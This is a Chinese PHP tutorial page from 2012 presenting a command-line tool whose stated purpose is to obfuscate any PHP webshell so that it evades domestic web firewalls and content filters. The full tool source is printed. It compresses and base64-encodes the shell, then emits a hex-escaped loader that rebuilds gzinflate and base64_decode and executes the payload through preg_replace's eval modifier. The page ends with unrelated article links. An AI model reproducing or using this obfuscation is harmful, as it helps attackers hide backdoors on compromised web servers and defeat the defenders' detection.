php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
几个学习PHP的网址
Nov 25 PHP
PHP 程序授权验证开发思路
Jul 09 PHP
php中函数前加&amp;符号的作用分解
Jul 08 PHP
PHP生成RSS文件类实例
Dec 05 PHP
浅析Yii2 GridView 日期格式化并实现日期可搜索教程
Apr 22 PHP
PHP实现的限制IP投票程序IP来源分析
May 04 PHP
php简单复制文件的方法
May 09 PHP
php+html5+ajax实现上传图片的方法
May 14 PHP
详解PHP原生DOM对象操作XML的方法
Oct 17 PHP
php 可变函数使用小结
Jun 12 PHP
PHP快速排序算法实现的原理及代码详解
Apr 03 PHP
如何用RabbitMQ和Swoole实现一个异步任务系统
May 29 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
PHP内核介绍及扩展开发指南―基础知识
2011/09/11 PHP
php array的学习笔记
2012/05/16 PHP
Thinkphp的volist标签嵌套循环使用教程
2014/07/08 PHP
thinkphp3.2.3 分页代码分享
2016/07/28 PHP
PHP类的特性实例分析
2016/09/28 PHP
解决PHP程序运行时:Fatal error: Maximum execution time of 30 seconds exceeded in的错误提示
2016/11/25 PHP
Mootools 1.2教程 类(一)
2009/09/15 Javascript
仅用[]()+!等符号就足以实现几乎任意Javascript代码
2010/03/01 Javascript
JQuery的Validation插件中Remote验证的中文问题
2010/07/26 Javascript
jqGrid读取选择的多行的某个属性代码
2014/05/18 Javascript
轻松实现javascript数据双向绑定
2015/11/11 Javascript
JavaScript中数组添加值和访问值常见问题
2016/02/06 Javascript
JS实现复选框的全选和批量删除功能
2017/04/05 Javascript
深入浅出es6模板字符串
2017/08/26 Javascript
JS关于刷新页面的相关总结
2018/05/09 Javascript
Angular动画实现的2种方式以及添加购物车动画实例代码
2018/08/09 Javascript
vue.js实现的幻灯片功能示例
2019/01/18 Javascript
微信小程序:数据存储、传值、取值详解
2019/05/07 Javascript
Vue.js中该如何自己维护路由跳转记录
2019/05/19 Javascript
利用js-cookie实现前端设置缓存数据定时失效
2019/06/18 Javascript
vue-router为激活的路由设置样式操作
2020/07/18 Javascript
微信小程序实现电子签名功能
2020/07/29 Javascript
人机交互程序 python实现人机对话
2017/11/14 Python
python 在指定范围内随机生成不重复的n个数实例
2019/01/28 Python
Python2与Python3的区别实例分析
2019/04/11 Python
Python Web程序搭建简单的Web服务器
2019/07/31 Python
python使用for...else跳出双层嵌套循环的方法实例
2020/05/17 Python
Python使用文件操作实现一个XX信息管理系统的示例
2020/07/02 Python
css3实现蒙版弹幕功能
2019/06/18 HTML / CSS
英国门把手公司:Door Handle Company
2019/05/12 全球购物
DELPHI面试题研发笔试试卷
2015/11/08 面试题
物流合作计划书
2014/01/10 职场文书
党员学习十八大感想
2014/01/17 职场文书
普通员工辞职信
2014/01/17 职场文书
《埃及的金字塔》教学反思
2014/04/07 职场文书
浅谈resultMap的用法及关联结果集映射
2021/06/30 Java/Android